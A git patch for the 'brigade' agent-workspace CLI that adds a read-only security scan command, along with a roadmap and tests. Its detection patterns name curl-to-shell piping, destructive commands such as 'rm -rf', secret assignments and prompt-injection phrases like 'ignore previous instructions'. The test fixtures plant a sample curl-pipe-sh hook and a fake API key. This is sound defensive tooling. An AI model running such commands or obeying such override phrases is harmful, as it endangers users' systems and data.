From 28148cab03a02c1836d7ab288433930d6085b536 Mon Sep 17 00:00:00 2001 From: Solomon Neas Date: Tue, 26 May 2026 20:40:43 -0400 Subject: [PATCH] feat: add security scan --- CHANGELOG.md | 3 + README.md | 7 +- ROADMAP.md | 34 +++ src/brigade/cli.py | 31 +++ src/brigade/doctor.py | 4 + src/brigade/registry.py | 8 +- src/brigade/security_cmd.py | 398 ++++++++++++++++++++++++++++++++++++ tests/test_registry.py | 5 +- tests/test_security_cmd.py | 78 +++++++ tests/test_status.py | 1 + 10 files changed, 566 insertions(+), 3 deletions(-) create mode 100644 src/brigade/security_cmd.py create mode 100644 tests/test_security_cmd.py diff --git a/CHANGELOG.md b/CHANGELOG.md index dc7c2f91..b0b8dbaf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -52,6 +52,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - `brigade work import dismiss` to close noisy imports without promoting them. - `brigade work import promote --all` with optional `--source` and `--kind` filters for batch promotion. - `docs/import-schema.md` documenting the local import JSONL contract for scanners and wrappers. +- Cybersecurity plugin roadmap covering broad agent-workspace security checks plus Brigade-specific scanner, doctor, import, and multi-harness security checks. +- Built-in `security` station and `brigade security scan` for read-only agent workspace security checks. +- `brigade security scan --import-findings` to route security findings into the local work import inbox for review. - `ROADMAP.md` covering the daily-driver path, scanner-ready inbox, chat-surface scanners, memory-card decay refresh, and portable operator setup. - `brigade work note` to append timestamped checkpoints to the active work session without ending it. - `brigade work doctor` to check dogfood config, Codex availability, local artifact paths, handoff inbox, ignore coverage, and latest run context for the daily work loop. diff --git a/README.md b/README.md index db24f42f..3d2a6b13 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,7 @@ The cookbook explains the why. This package gives you the kitchen. - memory-care staleness checks so durable cards do not quietly rot - TokenJuice output-compaction guidance for Claude Code and Codex, including wrapper notes and savings expectations - content-guard publish gates so private infrastructure does not leak into public docs +- built-in agent workspace security scan for secrets, permissions, hooks, MCP configs, supply-chain patterns, and instruction risks - adapter fragments for OpenClaw (tested), Hermes (stubbed), and generic harnesses - doctor checks that prove the system is wired before you trust it @@ -201,6 +202,8 @@ Inspect a completed run without opening each JSON file: brigade runs list --cwd /path/to/repo brigade runs latest --cwd /path/to/repo brigade runs show .brigade/runs/ +brigade security scan --target . +brigade security scan --target . --import-findings ``` Use `--handoff` to bridge a completed run back into the memory system. By default it writes a reviewable handoff to `.claude/memory-handoffs/` under `--cwd`; override with `--handoff-inbox ` for Codex, OpenCode, GPT, Hermes, OpenClaw, or any other non-Claude writer inbox. The handoff targets `.learnings/LEARNINGS.md` as a `no-card` document update, so the normal `brigade ingest` route can review or ingest it. If handoff writing fails after synthesis, Brigade still prints the final answer and keeps the final artifacts, but exits nonzero and marks `run.json` as `handoff-failed`. `--handoff` is not allowed with `--dry-run` because dry runs have no final answer. @@ -284,7 +287,9 @@ brigade add guard # content-guard brigade add tokens # tokenjuice ``` -The four managed tools: +`security` is a built-in station with no external managed tool yet. Run `brigade security scan --target .` for a read-only agent workspace security report, or add `--import-findings` to turn findings into local `brigade work import` review items. + +The current managed tools: | Station | Tool | What it does | |---|---|---| diff --git a/ROADMAP.md b/ROADMAP.md index f6be46ba..fc569648 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -41,6 +41,40 @@ Goal: support the common places agent work happens without making any one chat p - Use promotion gates so only reviewed, durable, or actionable items become tasks or memory handoffs. - Keep source metadata such as workspace, channel, thread, message range, and confidence local unless explicitly exported. +## Later Phase: Cybersecurity Plugin + +Goal: ship a Brigade cybersecurity plugin with broad coverage for agent workspaces, then go deeper on Brigade's multi-harness, memory, scanner, and dogfood workflows. + +Baseline coverage targets: + +- Scan agent workspace configs for hardcoded secrets, exposed tokens, private keys, database URLs, and unsafe environment-variable handling. +- Audit tool permissions for broad mutable access, wildcard shell access, missing deny lists, dangerous flags, destructive git commands, and unrestricted network commands. +- Analyze hooks and startup automation for command injection, remote execution, data exfiltration, silent failures, package installs, container escape, reverse shells, clipboard access, log tampering, and persistence behaviors. +- Audit MCP server configs for high-risk server types, remote transports, shell metacharacters, unpinned `npx` usage, hardcoded env secrets, sensitive file args, excessive server counts, missing timeouts, and auto-approve behavior. +- Review agent prompts, skills, subagents, slash commands, and workspace instructions for prompt-injection patterns, hidden instructions, URL execution, data harvesting, output suppression, time bombs, and unsafe auto-run language. +- Emit graded reports with severity, category scores, evidence snippets, suggested fixes, JSON output, markdown output, HTML or bundle output, and CI-friendly exit codes. +- Support CLI use, GitHub Action use, and local evidence packs. + +Brigade-specific additions: + +- Scan Claude Code, Codex, OpenCode, Gemini, Hermes, OpenClaw, VS Code, Zed, dmux, and generic repo-local agent harness surfaces with explicit runtime-confidence labels. +- Understand Brigade installs: `.brigade/`, `.codex/`, `.claude/`, memory handoff inboxes, roster files, dogfood configs, run artifacts, work imports, memory-care decay files, and public template folders. +- Treat public-template findings differently from active runtime findings so docs and starter templates do not score like live credentials or enabled tools. +- Integrate with `brigade doctor` as a security station and with `brigade work import` so findings can become reviewable local tasks instead of only console output. +- Provide safe auto-fix only for narrow cases such as replacing obvious hardcoded sample secrets, tightening generated allow-list examples, or adding missing ignore rules. +- Produce Memory Handoffs for durable security findings while keeping raw secret evidence redacted. +- Add policy packs for personal dogfooding, public-repo release checks, CI gates, and strict enterprise workspaces. +- Include dependency and package-manager hardening checks for agent plugin ecosystems, MCP packages, skills, and local tool wrappers. +- Track false-positive taxonomy, runtime-confidence rules, suppressions, and regression fixtures as first-class project artifacts. + +First build slice: + +- Create a plugin scaffold and security scan contract. Status: started with built-in `security` station and `brigade security scan`. +- Start with config discovery and read-only reporting for Brigade, Claude Code, Codex, and MCP config files. Status: started. +- Add core rule categories for secrets, permissions, hooks, MCP servers, supply-chain patterns, and agent instructions. Status: started. +- Output JSON plus readable text, then route selected findings into `brigade work import`. Status: started with `--import-findings`. +- Keep all raw findings local and gitignored unless the operator explicitly exports an evidence pack. Status: current default. + ## Later Phase: Memory Card Decay And Refresh Goal: prevent durable memory from silently rotting. diff --git a/src/brigade/cli.py b/src/brigade/cli.py index f35ae49f..d876872a 100644 --- a/src/brigade/cli.py +++ b/src/brigade/cli.py @@ -384,6 +384,25 @@ def _build_parser() -> argparse.ArgumentParser: ) p_scrub.add_argument("--dry-run", action="store_true") + # security + p_security = sub.add_parser("security", help="Scan agent workspace security posture.") + security_sub = p_security.add_subparsers(dest="security_command", metavar="") + security_sub.required = True + p_security_scan = security_sub.add_parser("scan", help="Run a read-only agent workspace security scan.") + p_security_scan.add_argument("--target", "-t", type=Path, default=Path("."), help="Repo or workspace to scan.") + p_security_scan.add_argument("--json", action="store_true", help="Print machine-readable JSON.") + p_security_scan.add_argument( + "--fail-on", + choices=["none", "low", "medium", "high", "critical"], + default="critical", + help="Return nonzero when a finding at or above this severity exists.", + ) + p_security_scan.add_argument( + "--import-findings", + action="store_true", + help="Append findings to the local Brigade work import inbox.", + ) + # handoff-template p_ht = sub.add_parser("handoff-template", help="Print the handoff TEMPLATE.md.") p_ht.add_argument( @@ -739,6 +758,18 @@ def main(argv=None) -> int: from . import scrub as scrub_mod return scrub_mod.run(target=args.target, policy=args.policy, dry_run=args.dry_run) + if cmd == "security": + from . import security_cmd + + if args.security_command == "scan": + return security_cmd.scan( + target=args.target, + json_output=args.json, + fail_on=args.fail_on, + import_findings=args.import_findings, + ) + parser.error(f"unknown security command: {args.security_command}") + return 2 if cmd == "handoff-template": from . import handoff as handoff_mod diff --git a/src/brigade/doctor.py b/src/brigade/doctor.py index f860c7ab..67aedf3b 100644 --- a/src/brigade/doctor.py +++ b/src/brigade/doctor.py @@ -82,6 +82,10 @@ def tokens_station_checks(ctx: DoctorContext) -> List[CheckResult]: return [] +def security_station_checks(ctx: DoctorContext) -> List[CheckResult]: + return [(OK, "security: built-in scanner", "run `brigade security scan --target .`")] + + def run(target: Path, harness: str = "generic") -> int: from .registry import all_stations from . import managed diff --git a/src/brigade/registry.py b/src/brigade/registry.py index 75b83258..c9239fe8 100644 --- a/src/brigade/registry.py +++ b/src/brigade/registry.py @@ -33,8 +33,14 @@ doctor=_doctor.tokens_station_checks, tools=("tokenjuice",), ) +SECURITY = Station( + name="security", + summary="agent workspace security scanning", + aliases=("sec",), + doctor=_doctor.security_station_checks, +) -_BUILTIN: Tuple[Station, ...] = (CORE, MEMORY, GUARD, TOKENS) +_BUILTIN: Tuple[Station, ...] = (CORE, MEMORY, GUARD, TOKENS, SECURITY) def all_stations() -> Tuple[Station, ...]: diff --git a/src/brigade/security_cmd.py b/src/brigade/security_cmd.py new file mode 100644 index 00000000..be0a1b8c --- /dev/null +++ b/src/brigade/security_cmd.py @@ -0,0 +1,398 @@ +"""Read-only security scanner for agent workspaces.""" +from __future__ import annotations + +import json +import re +import sys +from pathlib import Path +from typing import Any + +from . import work_cmd + +SEVERITY_ORDER = { + "info": 0, + "low": 1, + "medium": 2, + "high": 3, + "critical": 4, +} + +SKIP_DIRS = { + ".git", + ".hg", + ".mypy_cache", + ".pytest_cache", + ".ruff_cache", + ".tox", + ".venv", + "__pycache__", + "node_modules", +} + +SKIP_PREFIXES = ( + (".brigade", "runs"), + (".brigade", "work"), + (".claude", "memory-handoffs"), + (".codex", "memory-handoffs"), +) + +TEXT_SUFFIXES = { + "", + ".bash", + ".cfg", + ".conf", + ".env", + ".ini", + ".json", + ".jsonl", + ".md", + ".mjs", + ".py", + ".sh", + ".toml", + ".txt", + ".yaml", + ".yml", +} + +SECRET_VALUE_RE = re.compile( + r"(?i)\b(api[_-]?key|secret|token|password|passwd|pwd)\b\s*[:=]\s*['\"]?([A-Za-z0-9_./+=:-]{16,})" +) +PRIVATE_KEY_RE = re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----") +ENV_ASSIGNMENT_RE = re.compile(r"(?i)\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|API_KEY)\s*=\s*[A-Za-z0-9_./+=:-]{16,}") +REMOTE_SHELL_RE = re.compile(r"\b(curl|wget)\b[^\n|;]*(\||;)\s*(sh|bash)\b") +DESTRUCTIVE_RE = re.compile(r"\b(rm\s+-rf|git\s+reset\s+--hard|git\s+clean\s+-fdx|chmod\s+777)\b") +UNPINNED_NPX_RE = re.compile(r"\bnpx\s+(?:-y\s+)?([a-zA-Z0-9_.-]+)(?:\s|$)") +HTTP_MCP_RE = re.compile(r'"url"\s*:\s*"https?://') +AUTO_APPROVE_RE = re.compile(r"(?i)(auto[_-]?approve|always[_-]?allow|allow[_-]?all)") +PROMPT_INJECTION_RE = re.compile( + r"(?i)(ignore (all )?(previous|prior) instructions|do not (tell|reveal)|hidden instruction|" + r"send (all )?(secrets|tokens)|exfiltrat|disable safety|bypass safety)" +) + + +def _short(text: str, limit: int = 160) -> str: + rendered = " ".join(text.split()) + if len(rendered) <= limit: + return rendered + return rendered[: limit - 3].rstrip() + "..." + + +def _is_placeholder(value: str) -> bool: + lowered = value.lower() + return any( + marker in lowered + for marker in ( + "example", + "placeholder", + "changeme", + "your_", + "your-", + "<", + "{{", + "xxxxx", + "dummy", + ) + ) + + +def _iter_scan_files(target: Path) -> list[Path]: + paths: list[Path] = [] + for path in target.rglob("*"): + if path.is_dir(): + continue + rel_parts = path.relative_to(target).parts + if any(part in SKIP_DIRS for part in rel_parts): + continue + if any(rel_parts[: len(prefix)] == prefix for prefix in SKIP_PREFIXES): + continue + if path.suffix.lower() not in TEXT_SUFFIXES: + continue + try: + if path.stat().st_size > 500_000: + continue + except OSError: + continue + paths.append(path) + paths.sort() + return paths + + +def _surface_for(path: Path, target: Path) -> str: + rel = path.relative_to(target) + parts = rel.parts + if parts and parts[0] == ".brigade": + return "brigade" + if parts and parts[0] == ".codex": + return "codex" + if parts and parts[0] == ".claude": + return "claude" + if "mcp" in path.name.lower(): + return "mcp" + if parts and parts[0] in {"hooks", "scripts"}: + return "automation" + if path.name in {"AGENTS.md", "CLAUDE.md", "SAFETY_RULES.md", "INSTALL_FOR_AGENTS.md"}: + return "agent-instructions" + return "repo" + + +def _confidence_for(path: Path, target: Path) -> str: + rel = path.relative_to(target) + parts = rel.parts + if parts and parts[0] == "src" and "templates" in parts: + return "template" + if parts and parts[0] in {".brigade", ".claude", ".codex", "hooks", "scripts"}: + return "runtime" + if path.name in {"AGENTS.md", "CLAUDE.md", "SAFETY_RULES.md", "INSTALL_FOR_AGENTS.md"}: + return "runtime" + return "repo" + + +def _finding( + findings: list[dict[str, Any]], + *, + target: Path, + path: Path, + line: int, + severity: str, + category: str, + title: str, + evidence: str, + suggestion: str, +) -> None: + rel = path.relative_to(target) + finding_id = f"security-{len(findings) + 1:04d}" + findings.append( + { + "id": finding_id, + "severity": severity, + "category": category, + "title": title, + "path": str(rel), + "line": line, + "surface": _surface_for(path, target), + "confidence": _confidence_for(path, target), + "evidence": _short(evidence), + "suggestion": suggestion, + } + ) + + +def _scan_line(findings: list[dict[str, Any]], *, target: Path, path: Path, line_number: int, line: str) -> None: + secret_match = SECRET_VALUE_RE.search(line) + if secret_match and not _is_placeholder(secret_match.group(2)): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="secrets", + title="Possible hardcoded credential", + evidence=line, + suggestion="Move the value into local environment or secret storage and commit only a placeholder.", + ) + if PRIVATE_KEY_RE.search(line) or (ENV_ASSIGNMENT_RE.search(line) and not _is_placeholder(line)): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="secrets", + title="Possible sensitive secret material", + evidence=line, + suggestion="Remove secret material from the repo and rotate the credential if it was real.", + ) + if "danger-full-access" in line or "sandbox_permissions" in line and "require_escalated" in line: + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="permissions", + title="Broad agent execution permission", + evidence=line, + suggestion="Prefer read-only or workspace-scoped execution unless this is an explicitly trusted local path.", + ) + if REMOTE_SHELL_RE.search(line): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="high", + category="automation", + title="Remote script piped into shell", + evidence=line, + suggestion="Pin and verify downloaded scripts before execution, or replace with a checked-in script.", + ) + if DESTRUCTIVE_RE.search(line): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="automation", + title="Destructive command pattern", + evidence=line, + suggestion="Gate destructive commands behind explicit operator approval and document recovery steps.", + ) + npx_match = UNPINNED_NPX_RE.search(line) + if npx_match and "@" not in npx_match.group(1): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="supply-chain", + title="Unpinned remote package execution", + evidence=line, + suggestion="Pin remote package versions or install through a reviewed lockfile.", + ) + if "mcp" in path.name.lower() or '"mcpServers"' in line: + if HTTP_MCP_RE.search(line): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="mcp", + title="Remote MCP transport", + evidence=line, + suggestion="Prefer local MCP servers, pin remote hosts, and document authentication boundaries.", + ) + if AUTO_APPROVE_RE.search(line): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="medium", + category="mcp", + title="MCP auto-approval pattern", + evidence=line, + suggestion="Avoid blanket auto-approval and require review for mutable or networked tools.", + ) + if _surface_for(path, target) in {"agent-instructions", "claude", "codex", "repo"} and PROMPT_INJECTION_RE.search(line): + _finding( + findings, + target=target, + path=path, + line=line_number, + severity="low", + category="prompt-injection", + title="Prompt-injection style instruction", + evidence=line, + suggestion="Keep hostile examples clearly labeled as examples and avoid executable language in trusted instructions.", + ) + + +def scan_target(target: Path) -> dict[str, Any]: + target = target.expanduser().resolve() + findings: list[dict[str, Any]] = [] + scanned_files: list[str] = [] + for path in _iter_scan_files(target): + try: + text = path.read_text(errors="replace") + except OSError: + continue + scanned_files.append(str(path.relative_to(target))) + for line_number, line in enumerate(text.splitlines(), start=1): + _scan_line(findings, target=target, path=path, line_number=line_number, line=line) + counts: dict[str, int] = {} + for finding in findings: + severity = str(finding["severity"]) + counts[severity] = counts.get(severity, 0) + 1 + return { + "target": str(target), + "scanned_files": scanned_files, + "scanned_file_count": len(scanned_files), + "finding_count": len(findings), + "severity_counts": dict(sorted(counts.items())), + "findings": findings, + } + + +def _should_fail(findings: list[dict[str, Any]], fail_on: str) -> bool: + if fail_on == "none": + return False + threshold = SEVERITY_ORDER[fail_on] + return any(SEVERITY_ORDER.get(str(item.get("severity")), 0) >= threshold for item in findings) + + +def _import_findings(target: Path, findings: list[dict[str, Any]]) -> tuple[list[dict[str, Any]], list[dict[str, Any]]]: + records = [] + for finding in findings: + path = finding.get("path") + line = finding.get("line") + title = finding.get("title") + severity = finding.get("severity") + category = finding.get("category") + records.append( + { + "text": f"Review security finding [{severity}] {category} in {path}:{line}: {title}", + "kind": "incident", + "source": "security-scan", + "metadata": { + "finding_id": finding.get("id"), + "severity": severity, + "category": category, + "path": path, + "line": line, + "surface": finding.get("surface"), + "confidence": finding.get("confidence"), + "suggestion": finding.get("suggestion"), + }, + } + ) + return work_cmd._append_import_records(target, records) + + +def scan( + *, + target: Path, + json_output: bool = False, + fail_on: str = "critical", + import_findings: bool = False, +) -> int: + target = target.expanduser().resolve() + if not target.is_dir(): + print(f"error: --target is not a directory: {target}", file=sys.stderr) + return 2 + if fail_on not in SEVERITY_ORDER and fail_on != "none": + print("error: --fail-on must be one of: none, low, medium, high, critical", file=sys.stderr) + return 2 + + report = scan_target(target) + imported: list[dict[str, Any]] = [] + skipped: list[dict[str, Any]] = [] + if import_findings and report["findings"]: + imported, skipped = _import_findings(target, report["findings"]) + report["imported_findings"] = len(imported) + report["skipped_duplicate_imports"] = len(skipped) + + if json_output: + print(json.dumps(report, indent=2, sort_keys=True)) + else: + print(f"security scan: {target}") + print(f"scanned_files: {report['scanned_file_count']}") + print(f"findings: {report['finding_count']}") + for severity, count in report["severity_counts"].items(): + print(f"{severity}: {count}") + if import_findings: + print(f"imported_findings: {len(imported)}") + print(f"skipped_duplicate_imports: {len(skipped)}") + for finding in report["findings"]: + print( + f"- [{finding['severity']}] {finding['category']} " + f"{finding['path']}:{finding['line']} {finding['title']}" + ) + print(f" evidence: {finding['evidence']}") + print(f" suggestion: {finding['suggestion']}") + + return 1 if _should_fail(report["findings"], fail_on) else 0 diff --git a/tests/test_registry.py b/tests/test_registry.py index 06d2cccf..564c718f 100644 --- a/tests/test_registry.py +++ b/tests/test_registry.py @@ -3,7 +3,7 @@ def test_builtin_stations_present(): names = {s.name for s in registry.all_stations()} - assert {"core", "memory", "guard"} <= names + assert {"core", "memory", "guard", "security"} <= names def test_all_builtins_expose_a_doctor(): @@ -15,6 +15,7 @@ def test_resolve_by_name_and_alias(): assert registry.resolve("memory").name == "memory" assert registry.resolve("garde").name == "memory" assert registry.resolve("pass").name == "guard" + assert registry.resolve("sec").name == "security" assert registry.resolve("nope") is None @@ -23,6 +24,8 @@ def test_stations_declare_attached_tools(): memory = registry.resolve("memory") guard = registry.resolve("guard") tokens = registry.resolve("tokens") + security = registry.resolve("security") assert set(memory.tools) == {"memory-doctor", "bootstrap-doctor"} assert set(guard.tools) == {"content-guard"} assert tokens is not None and set(tokens.tools) == {"tokenjuice"} + assert security is not None and set(security.tools) == set() diff --git a/tests/test_security_cmd.py b/tests/test_security_cmd.py new file mode 100644 index 00000000..9b693abd --- /dev/null +++ b/tests/test_security_cmd.py @@ -0,0 +1,78 @@ +import json + +from brigade import cli +from brigade import security_cmd + + +def test_security_scan_finds_agent_workspace_risks(tmp_path, capsys): + (tmp_path / "AGENTS.md").write_text("Never ignore previous instructions in trusted rules.\n") + (tmp_path / ".env").write_text("SERVICE_API_KEY=abcd1234abcd1234abcd1234\n") + hooks = tmp_path / "hooks" + hooks.mkdir() + (hooks / "post-checkout").write_text("curl https://example.invalid/install.sh | sh\n") + mcp = tmp_path / ".claude" + mcp.mkdir() + (mcp / "mcp.json").write_text('{"autoApprove": true, "url": "https://example.invalid/mcp"}\n') + + assert security_cmd.scan(target=tmp_path, fail_on="critical") == 0 + out = capsys.readouterr().out + assert "security scan:" in out + assert "findings:" in out + assert "Possible sensitive secret material" in out + assert "Remote script piped into shell" in out + assert "MCP auto-approval pattern" in out + assert "Prompt-injection style instruction" in out + + assert security_cmd.scan(target=tmp_path, fail_on="high", json_output=True) == 1 + payload = json.loads(capsys.readouterr().out) + categories = {finding["category"] for finding in payload["findings"]} + assert {"secrets", "automation", "mcp", "prompt-injection"} <= categories + assert payload["severity_counts"]["high"] >= 2 + + +def test_security_scan_can_import_findings(tmp_path, capsys): + (tmp_path / ".env").write_text("SERVICE_TOKEN=abcd1234abcd1234abcd1234\n") + + assert security_cmd.scan(target=tmp_path, import_findings=True) == 0 + out = capsys.readouterr().out + assert "imported_findings:" in out + imports_path = tmp_path / ".brigade" / "work" / "imports" / "inbox.jsonl" + imports = [json.loads(line) for line in imports_path.read_text().splitlines()] + assert imports[0]["source"] == "security-scan" + assert imports[0]["kind"] == "incident" + assert imports[0]["metadata"]["category"] == "secrets" + + assert security_cmd.scan(target=tmp_path, import_findings=True) == 0 + out = capsys.readouterr().out + assert "skipped_duplicate_imports:" in out + + +def test_security_scan_cli(tmp_path, monkeypatch): + seen = {} + + def fake_scan(**kwargs): + seen.update(kwargs) + return 0 + + monkeypatch.setattr(security_cmd, "scan", fake_scan) + assert ( + cli.main( + [ + "security", + "scan", + "--target", + str(tmp_path), + "--json", + "--fail-on", + "medium", + "--import-findings", + ] + ) + == 0 + ) + assert seen == { + "target": tmp_path, + "json_output": True, + "fail_on": "medium", + "import_findings": True, + } diff --git a/tests/test_status.py b/tests/test_status.py index 72458468..6b54fa40 100644 --- a/tests/test_status.py +++ b/tests/test_status.py @@ -16,6 +16,7 @@ def test_status_lists_stations_for_installed_workspace(tmp_target: Path, capsys) assert "core" in out assert "memory" in out assert "guard" in out + assert "security" in out def test_status_runs_on_empty_dir(tmp_target: Path, capsys):